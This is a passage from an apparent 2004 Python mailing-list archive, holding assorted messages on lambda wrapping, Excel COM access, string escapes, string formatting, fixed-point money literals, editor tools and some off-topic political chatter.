> That works, but it strikes me as unclean and ugly.
> Is there a better way to do it?

Two approaches, both using bytecode hacks, so they are CPython-specific:

One, if all your use cases are simple, wrap the lambda in an object,
then override __mul__ and __add__, etcetera, for that object. Then
write:

>>> fu = Expression(lambda x: x)
>>> fu2 = fu + 17
>>> fu2
Expression(lambda x: x + 17)
>>> fu3 = fu2 * 3
>>> fu3
Expression(lambda x: (x + 17) * 3)

See my http://www.aminus.org/rbre/python/logic.py for an example of
wrapping lambdas. I override __add__ there to 'logical and' two
expressions together, so that fu + fu2 => fu and fu2.


Two, bind early. See
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/277940. That
solution only binds globals, but you can extend it to handle function
calls. Then special-case expr() inside the lambda, replacing it with the
existing expression. See my
http://www.aminus.org/rbre/python/codewalk.py for some examples of
binding more, earlier.

>>> fu = Expression(lambda x: x)
>>> fu2 = Expression(lambda x: expr(fu) + 17)
>>> fu2
Expression(lambda x: x + 17)
>>> fu3 = Expression(lambda x: expr(fu2) * 3)
>>> fu3
Expression(lambda x: (x + 17) * 3)



Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From ajsiegel at optonline.com  Fri Sep 17 08:42:20 2004
From: ajsiegel at optonline.com (Arthur)
Date: Fri, 17 Sep 2004 12:42:20 GMT
Subject: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
	<E%y2d.3$Gn3.2@fe2.texas.rr.com>
Message-ID: <15mlk0d63duukvnqtsrb4eguuldqd6ub2g@4ax.com>

On Fri, 17 Sep 2004 10:28:52 GMT, "Paul McGuire"
<ptmcg at austin.rr._bogus_.com> wrote:

>"Peter Otten" <__peter__ at web.de> wrote in message
>news:cibkl1$395$07$1 at news.t-online.com...
>> I took the freedom to forward GvR's mail concerning decorator cosmetics.
>> I think you should know about it.
>>
>> Peter
>>
>Why? Sounds like the same rigged rules as before.  Who wants to burn up any
>more cycles on this?

snip

>I and many others have offered our feedback (i.e., complained) that '@' is
>an offense to the eye, a blot on Python's heretofore cleanness of syntax and
>form, and implicit readability.  '@' doesn't *mean* anything.  At least '|'
>brings a "pipe" semantic from Unix, or '^' evokes a "return" concept from
>Smalltalk, or '>>' the notion of "stream" from C++.  When I see '@', the
>first thing I think of is e-mail, and the second thing I think of is an
>invoice ("20 widgets @ $0.25 = $5.00").
>
>So what?  It all boils down to "I like 'X'", "Well, I like 'Y'", to "Thanks
>for your feedback, the answer is '@'."

And were it opened for debate you would run into bizarre arguments in
its defense.  Like mine.

That there a mechanism in Python described by a arbitrary word,
"decorator" and provoked by an  arbitrary symbol '@'

The symbol *works*,  as a sore thumb and a tacit admission of
something,

It is defended in this view by its anti-esthetic.

Having to put up with this kind of argument in its defense is perhaps
a good reason to not re-open the discussion.

Art




From uthand at hotmail.com  Fri Sep 17 02:28:21 2004
From: uthand at hotmail.com (Fritz Bosch)
Date: 16 Sep 2004 23:28:21 -0700
Subject: wxPython Not Ready for Commercial Use
References: <dcf37d82.0409160827.1de98db9@posting.google.com>	<10kjq35q7n2q28e@corp.supernews.com>	<59e9fd3a04091618344d2d1fa3@mail.gmail.com>
	<mailman.3429.1095385957.5135.python-list@python.org>
Message-ID: <cf038e65.0409162228.6c232a80@posting.google.com>

Paul McNett <p at ulmcnett.com> wrote:
> Andrew Durdin writes:
> 
> > I was recently involved in a project which required producing
> > excel files programmatically (this was from VB *spew*). I
> > started off using COM, but it turned out to be unreasonably
> > slow for filling in all the cells that we needed to do; so
> > instead we output an XML spreadsheet. It was much faster, and
> > simpler in the end.
> 
> I used COM to do an Excel spreadsheet once. It was pretty 
> complex and took an outrageous amount of processing time. And 
> then the client updated Excel and had to call me in because 
> something in the COM interface changed.
> 
> I wonder if your XML method has a better chance of surviving 
> Excel "upgrades". I will certainly try to avoid COM in the 
> future.

Each call of the COM interface is quite slow, but it seems to
be larglely independent of the amount of data transferred in
a call.  So the solution seems to be to transfer large chunks
at a time instead of individual cells:

     # get the content of an excel range as a list of lists
     data = my_excel_range.Value
     data = [list(row) for row in data]
     # manipulate the data inside python
     ...
     # transfer it back to excel in one go
     my_excel_range.Value = data

It's quite easy to access the entire used range of a worksheet
in this way:
 
     book = excelApp.Workbooks.Open(file_name)
     sheet = book.Sheets[sheet_name]
     my_excel_range = sheet.UsedRange


fritz


From jeff at ccvcorp.com  Wed Sep 29 22:16:40 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 29 Sep 2004 19:16:40 -0700
Subject: constructing binary \n
In-Reply-To: <mailman.4111.1096507693.5135.python-list@python.org>
References: <mailman.4111.1096507693.5135.python-list@python.org>
Message-ID: <10lmr0mk9ekud0d@corp.supernews.com>

Steven Arnold wrote:

> Is there a more elegant way to construct \[a-z] in a string than 
> something like:
>
> s = '\\n'
> result = eval( "'%s'" ) % s
>
> Another ugly method would be to build a dict with all the different 
> special letters I want as keys, and their corresponding values as 
> values.  Or I could have a huge if/elif structure.  I can't make ord 
> work, because while ord( '\n' ) gives me a reasonable integer that I 
> can interpolate with %c, I don't have '\n', I have '\\n'.


No, you actually *do* have '\n', the single byte that represents ASCII 
linefeed.

 >>> len('\n')
1
 >>> len('\\n')
2
 >>> ord('\n')
10
 >>> ord('\\n')
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
TypeError: ord() expected a character, but string of length 2 found
 >>> for char in '\\n':
...     print ord(char)
...    
92
110
 >>>

Note that '\n' is a single byte, while '\\n' is two bytes.  In the first 
case, '\n' is interpreted as the single LF byte.  In the second case, 
'\\' collapses into a single backslash, giving you a backslash byte and 
a 'n' byte.

When you type a string literal containing a backslash, if that backslash 
can combine with the following character to make a valid escape code, it 
*will* do so unless you've explicitly turned off escaping (by, e.g., 
using raw strings).  Of course, if the combination is *not* a valid 
escape code, then the backslash and following character will be 
interpreted normally.

Jeff Shannon
Technician/Programmer
Credit International



From maspindler at yahoo.com  Mon Sep 13 10:58:23 2004
From: maspindler at yahoo.com (Mike Spindler)
Date: 13 Sep 2004 07:58:23 -0700
Subject: struct->bit access
Message-ID: <3b6f60de.0409130658.1ab6ec67@posting.google.com>

I am passing structs via UDP socket to my Python app from an external
C program.  The structure is made up almost entirely of bit fields.
 
struct example: 
 unsigned int var1 : 3;
 unsigned int var2 : 3;
 unsigned int var3 : 1;
 unsigned int pad1 : 1;
 unsigned int var4 : 8;
 unsigned int var5 : 16;

Everything I've read so far says this is too complicated and slow for
Python - write it in C.  Can someone point me to a good example of
extracting this and rebuilding using only Python?
Thank you!  -Mike


From godoy at ieee.org  Mon Sep 13 23:30:01 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Tue, 14 Sep 2004 00:30:01 -0300
Subject: string % dictionary question
References: <ZFq1d.15197$QJ3.11816@newssvr21.news.prodigy.com>
Message-ID: <m3zn3tr0hy.fsf@g2ctech.com>

"Sam Sungshik Kong" <ssk at chol.nospam.net> writes:

> Hello, group!
>
> <code>
>>>> di={}
>>>> di["test"]=None
>>>> s="%(test)s" % di
>>>> s
> 'None'
> </code>
>
> I want the result to be just empty string when the dictionary value is None.
> Is there a good way?

You can check it after the definition and make the necessary changes... 

>>> di={}
>>> di["test"]=None
>>> s="%(test)s" % di
>>> if s == "None": s = ""
...
>>> s
''
>>> di["test"] = 1
>>> s = "%(test)s" % di
>>> if s == "None": s = ""
...
>>> s
'1'
>>>


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From claird at lairds.us  Fri Sep 24 23:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Sat, 25 Sep 2004 03:08:05 GMT
Subject: Don't let your babies grow up to be programmers (was: up with
	PyGUI!)
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<278de0e.0409231337.1a032135@posting.google.com>
	<du7vfe37ovm.fsf@lehtori.cc.tut.fi>
	<278de0e.0409241501.3bbfabd4@posting.google.com>
Message-ID: <763f22-pp.ln1@lairds.us>

In article <278de0e.0409241501.3bbfabd4 at posting.google.com>,
Neuruss <luismg at gmx.net> wrote:
			.
			.
			.
>You don't have to be affraid because Finland has everything to be rich
>and prosperous: a transparent political system, highly educated
>people, respect for law and a honest society.

And smoked herring.  Why, someday Finland will be the kind
of place where programmers will have the talent to produce
even, say, operating systems.

Disculpeme, Luis; it's hard to stay serious as we wander so
far from the topic of Python (although I think I can, in a
pinch, related smoked herring to Python).  You are right,
of course, that Finns can justly have pride and high expec-
tations for their nation.


From gerrit at nl.linux.org  Tue Sep 28 03:18:46 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Tue, 28 Sep 2004 09:18:46 +0200
Subject: time
In-Reply-To: <Ry46d.249396$4o.106779@fed1read01>
References: <So36d.168361$3l3.52363@attbi_s03>
	<Ry46d.249396$4o.106779@fed1read01>
Message-ID: <20040928071846.GB8719@nl.linux.org>

Steve Holden wrote:
> Bryan wrote:
> 
> >can someone explain to me why i get different values for the tm_yday and 
> >tm_isdst values?
> >
> > >>> import rfc822
> > >>> rfc822.parsedate('Mar  1 01:03:59 2004')
> >(2004, 3, 1, 1, 3, 59, 0, 0, 0)
> >
> > >>> import time
> > >>> time.strptime('Mar  1 01:03:59 2004', '%b %d %H:%M:%S %Y')
> >(2004, 3, 1, 1, 3, 59, 0, 61, -1)
> >
> The trivial answer is "because of differences in the modules". Your 
> question is a bit like asking "Why is the sky today not the same color 
> as it was yesterday?"

See also:

http://www.python.org/sf/748843

Gerrit.

-- 
Weather in Twenthe, Netherlands 28/09 08:55:
	15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP)
-- 
In the councils of government, we must guard against the acquisition of
unwarranted influence, whether sought or unsought, by the
military-industrial complex. The potential for the disastrous rise of
misplaced power exists and will persist.
    -Dwight David Eisenhower, January 17, 1961


From peter at engcorp.com  Mon Sep 13 22:36:10 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Sep 2004 22:36:10 -0400
Subject: directories problem
In-Reply-To: <JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com>
References: <ci5jf2$t60$1@mughi.cs.ubc.ca>
	<JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com>
Message-ID: <_66dnRiFcJCGxNvcRVn-pA@powergate.ca>

Dan Perl wrote:

> I'm not sure whether this is what Lowell is looking for, but I've been 
> looking at a similar problem and I would also like to see a solution for 
> that: can a python script know its own full path name?

See near the end of this thread: 
http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com

Also note that scripts other than the main one can do it even more
easily: __file__, or if that's not always an absolute path, 
os.path.abspath(__file__).

-Peter


From matt.gerrans at hp.com  Thu Sep 23 12:28:04 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Thu, 23 Sep 2004 16:28:04 GMT
Subject: win32com - .ocx won't Dispatch...
References: <mailman.1004.1075413376.12720.python-list@python.org><mailman.962.1075345407.12720.python-list@python.org><mailman.1004.1075413376.12720.python-list@python.org>
	<mailman.1064.1075508159.12720.python-list@python.org>
Message-ID: <oQC4d.11547$r87.1631@news.cpqcorp.net>

Additionally, you might test with other tools like JScript (or VBScript) a 
little ATL program in C++, Microsoft's ActiveX Control Test Container, or 
C#.    If it needs a window, the JScript/VBScript/ATL will probably fail 
similarly.   In C#, it is pretty easy to put it an ActiveX control on a 
form, or create it independently so you could easily test whether that's the 
problem.

By the way, it sounds like maybe you really wanted to create a COM 
automation server instead of an ActiveX control (if you don't expect or 
require it to be on a window or form). 




From carribeiro at gmail.com  Thu Sep 23 07:41:38 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 08:41:38 -0300
Subject: Why not FP for Money?
In-Reply-To: <cc887c1d.0409222103.388c40de@posting.google.com>
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
Message-ID: <864d3709040923044175368fe6@mail.gmail.com>

On 22 Sep 2004 22:03:43 -0700, Chris Barker <barkmann at gmail.com> wrote:
> ... Personally, thinking of money it
> terms of significant digits would be fine with me. Is there really any
> point in keeping track of the pennies when talkin gof trillions of
> dollars?

In Brazil, there is tax for money transfers (all transfers to, from
and between accounts). It's 0.38% of each operation. Some operations
are really smal, just a few reals, and the tax is measured in cents.
For big operations -- those in the range of millions -- the tax gets 
bigger, but still manageable. But when you sum up all the transfers,
the sum has to be exact to the cent. Imagine if you sum all transfers
done in one year, for accounting purposes. The number is really big --
in the order of billions. But the sum has to be precise to the cent.
 
(Ok, it's not trillions -- I'm only showing you and example of a
situation that stress the limits of numeric precision)

> """
> Beware! Floating point errors may bite you *even for non-fractional
> numbers*
> """
> 
> I tried to address that in the OP. 64 bit IEEE FP carries a lot of
> digits! This isn't an issue till you get to quadrillions of dollars.
> The same issue comes up if you use standard integers, though then you
> will get overflow instead. If not handled right, that could REALLY
> give strange results! Fortunatly Python now automatically rolls over
> to long integers.

... and ...

> One interesting distiction here: binary vs. decimal and floating point
> vs. fixed point are orthoganal concepts that have been mingled here.
> Alex pointed out that decimal floating point has the same problems as
> binary as far as accuracy is concerned.

You're right. When I made my comment about floating point errors for
non-fractional numbers, I didn't made this distinction. Normally, when
I think about a money type, I don't think about floating point
decimal, I think about fixed point.

Now that we are talking about money types,  I had an idea some time
ago and I would appreciate to hear some opinions. What do you think
about using a different notation for fixed point decimal literals in
Python, using the $ sign, as in:

a) $1.0000 --> fixed point decimal, four digits of precision
b) 1$0000 -> alternative syntax, also with four digits

and operations would also be easier to write, with type coercion, etc:

$1.00 + 0.99212 --> $1.99 (rounded)

That would make easy to supply fixed point literals. And I dont think
that the use of a symbol, in this case, is a case of Perlish
contamination -- even in countries where the money sign is different,
I think that most programmers would readily recognize the $ sign for
it. How about it?

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Mon Sep 13 22:50:41 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Tue, 14 Sep 2004 02:50:41 -0000
Subject: Xah Lee's Unixism
References: <u0o4ic.bgh.ln@via.reistad.priv.no>
Message-ID: <10kcn41im0ua990@corp.supernews.com>

# It may actually have worked with Libya; who consiquosly have changed
# sides to want friendly terms with the west, and is making a serious 
# effort to reform. They also had far more WMD's in the pipeline than 
# Saddam probably ever had. THAT was a surprise.

Libya has been changing for a long time. As Qaddify ages and hears the
flutterring wings of the Angel of Death, he has evolved from fiery
revolutionary sending out terrorists from the safety of his bunker,
to a fledging statesman organising a peaceful and orderly Africa. Libya's
biological and chemical warfare research was too expensive with too
little return, so it was being shut down anyway due to finances. He wants
all embargos ended, trade fully resumed, his people happy enough to
stop trying to kill him, and to go down in history books as a great
leader.

It's been going along for a long time. I doubt it was less about fear
of an attack, and more about political opportunism in both Libya and
the USA.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
She broke your heart and inadvertendently drove men to deviant lifestyles.


From ian at cottee.org  Mon Sep 27 13:29:25 2004
From: ian at cottee.org (Ian J Cottee)
Date: Tue, 28 Sep 2004 02:29:25 +0900
Subject: Emacs + python (Was Re: python is going to die! =()
In-Reply-To: <87hdprv3qd.fsf_-_@ion.xlipstream.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>	<278de0e.0409201131.57baf7f9@posting.google.com>	<414f61bf$0$29449$636a15ce@news.free.fr>	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
	<87hdprv3qd.fsf_-_@ion.xlipstream.com>
Message-ID: <e8vl22-upr.ln1@suse.zobbo.org>

Chris Green wrote:
> Andrew Dalke <adalke at mindspring.com> writes:
> http://cedet.sourceforge.net/semantic.shtml is a project working on
> the backend parsing to be able to be at the point where that context
> sensitive dynamic completions can happen ( well, as well as they could
> in python ).

And don't forget the excellent Emacs Code Browser - 
http://ecb.sourceforge.net, which utilises cedet. From the web page:

"ECB stands for "Emacs Code Browser". While Emacs already has good 
editing  support for many modes, its browsing support is somewhat 
lacking. That's where ECB comes in: it displays a number of 
informational windows that allow for easy source code navigation and 
overview."

Works great with Python

Ian


From aahz at pythoncraft.com  Thu Sep 16 13:07:38 2004
From: aahz at pythoncraft.com (Aahz)
Date: 16 Sep 2004 13:07:38 -0400
Subject: Steve Holden: mail problem? (was Re: list/tuple to dict...)
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<Zmg2d.5818$Xc.5455@lakeread01> <4149982B.1080406@engcorp.com>
	<1Dh2d.5820$Xc.5095@lakeread01>
Message-ID: <cich8q$hke$1@panix1.panix.com>

In article <1Dh2d.5820$Xc.5095 at lakeread01>,
Steve Holden  <steve at holdenweb.com> wrote:
>
>I've changed my Reply-to address now - thanks!

No, you didn't.  ;-)  Did you mean that you've changed your From: line?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From chiriones at yahoo.com  Wed Sep  1 23:39:58 2004
From: chiriones at yahoo.com (Steve Allgood)
Date: 1 Sep 2004 20:39:58 -0700
Subject: age of Python programmers
References: <jQHUc.1529$2L3.505@newsread3.news.atl.earthlink.net>
Message-ID: <e33c37bb.0409011939.4bbc8975@posting.google.com>

I'm 36.  

I use it for web scripts.  I love the simplicity of the syntax and the
power of the language.

~Steve Allgood


From ville at spammers.com  Tue Sep  7 14:06:52 2004
From: ville at spammers.com (Ville Vainio)
Date: 07 Sep 2004 21:06:52 +0300
Subject: How to actually write a program?
References: <chano0$1gv$1@sparta.btinternet.com>
	<mailman.2916.1094457850.5135.python-list@python.org>
	<O9GdnTcSZLeCcaHcRVn-oA@powergate.ca>
Message-ID: <du7u0uagdhf.fsf@amadeus.cc.tut.fi>

>>>>> "Peter" == Peter Hansen <peter at engcorp.com> writes:

    Peter> Ahhh!!! Run away some more!  UML and XP are nearly
    Peter> anti-thetical.  Don't even consider going there.  (Well,
    Peter> consider it, but please don't waste any money buying a UML
    Peter> book as you do.  Find a few web sites, then ... run away!
    Peter> It's cheaper that way.)

There should really be a pythonic alternative to UML. I'm talking
about a textual format that can be rendered to pretty graphical
diagrams for PHBs/project managers to drool at. Text format would be
easy to edit with just an editor, it would be version-controllable,
scriptable, blah blah. I bet a lot of anti-UML attitude can be
attributed to the clumsy, non-programmery process that manipulating
UML images graphically involves.

I'd like to "draw" sequence diagrams like:

object user, slot,sensor, beeper

user - slot  insertCoin(0.20)
  slot - sensor report(1,0.20)
  sensor - beeper trigger()
user - slot  insertCoin(0.20)
  ...

etc.

Then I could easily insert new stuff retroactively by just editing the
file, without having to load the thing into some horrible bloated
expensive peace of (krhm) software that breaks the image into
irrepairable mess by just having the user click on the wrong widget.


-- 
Ville Vainio   http://tinyurl.com/2prnb


From lynn at garlic.com  Thu Sep  9 09:42:20 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 09 Sep 2004 07:42:20 -0600
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<opsdxecgt8pqzri1@mjolner.upc.no>
	<t7mjhc.ubd.ln@via.reistad.priv.no> <uisaoutfz.fsf@mail.comcast.net>
	<slaphc.beh1.ln@via.reistad.priv.no>
Message-ID: <u1xhbv9s3.fsf@mail.comcast.net>

Morten Reistad <firstname at lastname.pr1v.n0> writes:
> It was an upgrade from 56k. The first versions of NSFnet was not
> really scalable either; noone knew quite how to design a erally
> scalable network, so that came as we went.

we had a project that i called HSDT
http://www.garlic.com/~lynn/subnetwork.html#hsdt 

for high-speed data transport ... to differentiate from a lot of stuff
at the time that was communication oriented ... and had real T1 (in
some cases clear-channel T1 w/o the 193rd bit) and higher speed
connections. It had an operational backbone ... and we weren't allowed
to directly bid NSFNET1 .... although my wife went to the director of
NSF and got a technical audit. The technical audit summary said
something to the effect that what we had running was at least five
years ahead of all NSFNET1 bid submissions to build something new.

one of the other nagging issues was that all links on the internal
network
http://www.garlic.com/~lynn/subnetwork.html#internalnet

had to be encrypted. at the time, not only were there not a whole lot
of boxes that supported full T1 and higher speed links ... but there
also weren't a whole lot of boxes that support full T1 and higher
speed encryption.

a joke a like to tell ... which occured possibly two years before the
NSFNET1 RFP announcement ... was about a posting defining "high-speed"
.... earlier tellings:
http://www.garlic.com/~lynn/94.html#33b High Speed Data Transport (HSDT)
http://www.garlic.com/~lynn/2000b.html#69 oddly portable machines
http://www.garlic.com/~lynn/2000e.html#45 IBM's Workplace OS (Was: .. Pink)
http://www.garlic.com/~lynn/2003m.html#59 SR 15,15
http://www.garlic.com/~lynn/2004g.html#12 network history

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From tungwaiyip at yahoo.com  Thu Sep  2 12:18:22 2004
From: tungwaiyip at yahoo.com (Wai Yip Tung)
Date: Thu, 02 Sep 2004 09:18:22 -0700
Subject: read lines without the line break character at the end?
Message-ID: <opsdpjkwte433nmu@news.cisco.com>

When I do

   for line in fp:

the line string usually has a '\n' at the end. In many cases I don't want  
the line break character. I can trim it using

   if line.endswith('\n'): line = line[:-1]

Given I do it so frequently I wonder if there is some builtin way to say I  
don't wnt the line break character?

Thanks,

tung


From ipellew at pipemedia.co.uk  Wed Sep 22 18:41:35 2004
From: ipellew at pipemedia.co.uk (Ian Pellew)
Date: 22 Sep 2004 15:41:35 -0700
Subject: Mod_Python apache question.
Message-ID: <30875970.0409221441.1a95eac5@posting.google.com>

Hi all;

Am I correct in thinking that Mod_Python simply executes Python
scripts from the server side using an internal Apache python engine?

Can a web page have Python script embedded in it like Java as well?

Regards
Ian


From sjdevnull at yahoo.com  Thu Sep 30 15:22:52 2004
From: sjdevnull at yahoo.com (G. S. Hayes)
Date: 30 Sep 2004 12:22:52 -0700
Subject: thread execution order
References: <cjh1hd$rek$03$1@news.t-online.com>
	<STT6d.25$Za.8@llslave.llan.ll.mit.edu>
	<cjh4nb$opt$05$1@news.t-online.com>
Message-ID: <96c2e938.0409301122.29cf480c@posting.google.com>

"Axel Mittendorf" <newsreply at transfertech.de> wrote in message news:<cjh4nb$opt$05$1 at news.t-online.com>...
> "Rembrandt Q Einstein" wrote:
> > I wouldn't do this with threads.  I'd use select() or similar to see if
> > the pipe is writable and if it isn't, buffer internally.
> I thought about something like this too, but since I'm not allowed to
> use some kinda timer to write out the pending data I can't it that way.
> Therefor I wondered to use threads.

You shouldn't need a timer to do it with select().  That's how I'd do it too.


From ssk at chol.nospam.net  Tue Sep 14 00:20:08 2004
From: ssk at chol.nospam.net (Sam Sungshik Kong)
Date: Tue, 14 Sep 2004 04:20:08 GMT
Subject: string % dictionary question
References: <ZFq1d.15197$QJ3.11816@newssvr21.news.prodigy.com>
	<m3zn3tr0hy.fsf@g2ctech.com>
Message-ID: <Xju1d.15262$QJ3.6646@newssvr21.news.prodigy.com>

Thanks for the reply.

What if the string is more complicated?
For example,

di = {}
di["name"] = "Sam"
di["age"] = None
s = "name: %(name)s, age: %(age)d" % di

Thanks.

Sam

"Jorge Godoy" <godoy at ieee.org> wrote in message
news:m3zn3tr0hy.fsf at g2ctech.com...
> "Sam Sungshik Kong" <ssk at chol.nospam.net> writes:
>
> > Hello, group!
> >
> > <code>
> >>>> di={}
> >>>> di["test"]=None
> >>>> s="%(test)s" % di
> >>>> s
> > 'None'
> > </code>
> >
> > I want the result to be just empty string when the dictionary value is
None.
> > Is there a good way?
>
> You can check it after the definition and make the necessary changes...
>
> >>> di={}
> >>> di["test"]=None
> >>> s="%(test)s" % di
> >>> if s == "None": s = ""
> ...
> >>> s
> ''
> >>> di["test"] = 1
> >>> s = "%(test)s" % di
> >>> if s == "None": s = ""
> ...
> >>> s
> '1'
> >>>
>
>
> Be seeing you,
> -- 
> Godoy.     <godoy at ieee.org>




From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Fri Sep 17 05:57:26 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Fri, 17 Sep 2004 11:57:26 +0200
Subject: VBScript does exactly what you want
References: <2d8097ee.0409170130.448cd351@posting.google.com>
Message-ID: <ciecdf$pnf$1@news-reader1.wanadoo.fr>

Cool !   And it's free ? 





From claird at lairds.us  Sat Sep 25 16:08:25 2004
From: claird at lairds.us (Cameron Laird)
Date: Sat, 25 Sep 2004 20:08:25 GMT
Subject: Don't let your babies grow up to be programmers
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<1gknx0k.m09llxutwktbN%aleaxit@yahoo.com>
	<g66g22-hrr.ln1@lairds.us>
	<1gkonog.zqrla7f82ydaN%aleaxit@yahoo.com>
Message-ID: <9bsg22-qsd.ln1@lairds.us>

In article <1gkonog.zqrla7f82ydaN%aleaxit at yahoo.com>,
Alex Martelli <aleaxit at yahoo.com> wrote:
>Cameron Laird <claird at lairds.us> wrote:
>   ...
>> "Globalization" just advertising for a refinement of imperialism?
>> Of course not, to those of us fundamentally aligned with the
>> progressivism on display in, to echo your example, *The Econo-
>
>Amartya Sen's book is another excellent display of that "of course not".
>
>Some people have taken Stiglitz's and Sen's books as "warring
>Nobel-laureate economists con vs pro globalisation", but that's silly.
>Rather, Stiglitz focuses more on some ugly aspects of what parts of the
>globalisation process have actually BEEN; Sen, more on the sunny parts
>and on what they COULD and SHOULD be.  
>
>I'm sure Sen and Stiglitz actually agree on FAR more than what they
>disagree on -- unfortunately, it's likely to be stuff the average
>street-demonstration participant, laid-off worker, or elected politician
>can't possibly understand, unless they take a few years off to get the
>needed background, starting with differential equations and moving up
>from there;-).
>
>> I struggle to bring this all back on-topic.  Mention of <URL:
>> http://www.pbs.org/cringely/pulpit/pulpit20040923.html > is my
>> current attempt.
>
>Tx for the pointer.  DMCA _is_ truly scary.  OTOH, one _can_ devotely
>pray that MS is overplaying their hand, just like IBM did not all THAT
>long ago with their proprietary "token rings", OS/2, and
>"microchannels"... IBM almost managed to destroy _itself_ that way,
>though Gerstner was there to save it from the brink...
>
>And yes, if emerging third-world nations aren't making sure there's Open
>Source for everything they can possibly need, the only explanation must
>be the high level of corruption in their polities.  It's the only
>sensible strategy on any political and economic plane, after all.
>
>
>Alex

Exactly.  Well, there's much to talk over--I suspect we both agree,
for example, that IBM has other profound structural challenges--but
let me summarize my response to reference to Sen, DMCA, and so on
with this explicit assertion:  one of the great cruelties afoot is
that "globalization" and development are widely regarded as syno-
nyms for "compliance with IMF dictates".  We know, of course, that
the possibilities in the world are far richer than this, and that
the true high fliers will be the people and peoples who make their 
own ways in the world.  Think, in our own narrow domains, of Linux
and Guido and now Miguel and ....


From greg.lindstrom at novasyshealth.com  Wed Sep  8 13:59:57 2004
From: greg.lindstrom at novasyshealth.com (Greg Lindstrom)
Date: Wed, 8 Sep 2004 12:59:57 -0500
Subject: Machine identification
Message-ID: <01f101c495cd$a786cc40$054b12ac@D18SYX41>

How can I get the name (or ip) of the machine where my python script is
running?  I'd like to add it to my log entry.

Thanks,

--greg

Greg Lindstrom                                         (501) 975-4859
NovaSys Health                  greg.lindstrom at novasyshealth.com

"We are the music makers, and we are the dreamers of dreams"  W.W.



From godoy at ieee.org  Wed Sep  1 15:11:04 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Wed, 01 Sep 2004 16:11:04 -0300
Subject: I think a problem occured when i used long()
References: <8f17f4bc.0409011101.5ace996@posting.google.com>
Message-ID: <m31xhleref.fsf@g2ctech.com>

alikakakhel3 at hotmail.com (Ali) writes:

> I did the folloing in python shell:
>
>>>> x = 5.07e-25
>>>> x = long(x)
>>>> print x
> 0L
>
> Um... I was under the impresion that long numbers had very very long
> precision. But, it seems that in this case it rounded it to zero :(
>
> Please Help. Thank you :)

Isn't "long" a long integer? ;-)


>>> help(long)

class long(object)
 |  long(x[, base]) -> integer
 |
 |  Convert a string or number to a long integer, if possible.  A floating
 |  point argument will be truncated towards zero (this does not include a
 |  string representation of a floating point number!)  When converting a
 |  string, use the optional base.  It is an error to supply a base when
 |  converting a non-string.

(...)


So, converting a float to an integer should really truncate the result,
as is in the documentation.


Sds,
-- 
Godoy.     <godoy at ieee.org>


From FBatista at uniFON.com.ar  Tue Sep 14 10:27:53 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 14 Sep 2004 11:27:53 -0300
Subject: Style conventions for Python code
Message-ID: <A128D751272CD411BC9200508BC2194D053C7956@escpl.tcp.com.ar>

[Will McGugan]

#- Is there a recommended coding style for Python documented anywhere? 

Read the PEP 8 (Style Guide for Python Code) at
http://www.python.org/peps/pep-0008.html.

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040914/b2fdc805/attachment.html>

From aaron.ginn at freescale.com  Mon Sep 20 12:47:04 2004
From: aaron.ginn at freescale.com (Aaron Ginn)
Date: Mon, 20 Sep 2004 09:47:04 -0700
Subject: Python as alternative to Visual Basic
Message-ID: <cin0d0$ani$1@avnika.corp.mot.com>

I'm investigating the feasibility of using Python instead of Visual 
Basic for a commercial software package that I'm planning on developing. 
  Now I'm absolutely a Python zealot.  I use it for most of my software 
development at work where I work in a Solaris environment.  To me, 
Python is the perfect language for most applications in a UNIX 
environment where a compiled language is not required.  However, I'm not 
so sure about Windows.

The software package I'm developing will make calls to Excel and Access 
and requires a very usable GUI for users who are not particularly 
computer literate.  My first question is: what is the best choice for a 
GUI toolkit on Windows?  I've used Tkinter for UNIX to some degree of 
success, but I'm not sure this is the best choice for Windows.  Second, 
if I choose to make the application cross-platform (Windows and Mac OS X 
in particular), what would be the best choice for a cross-platform GUI 
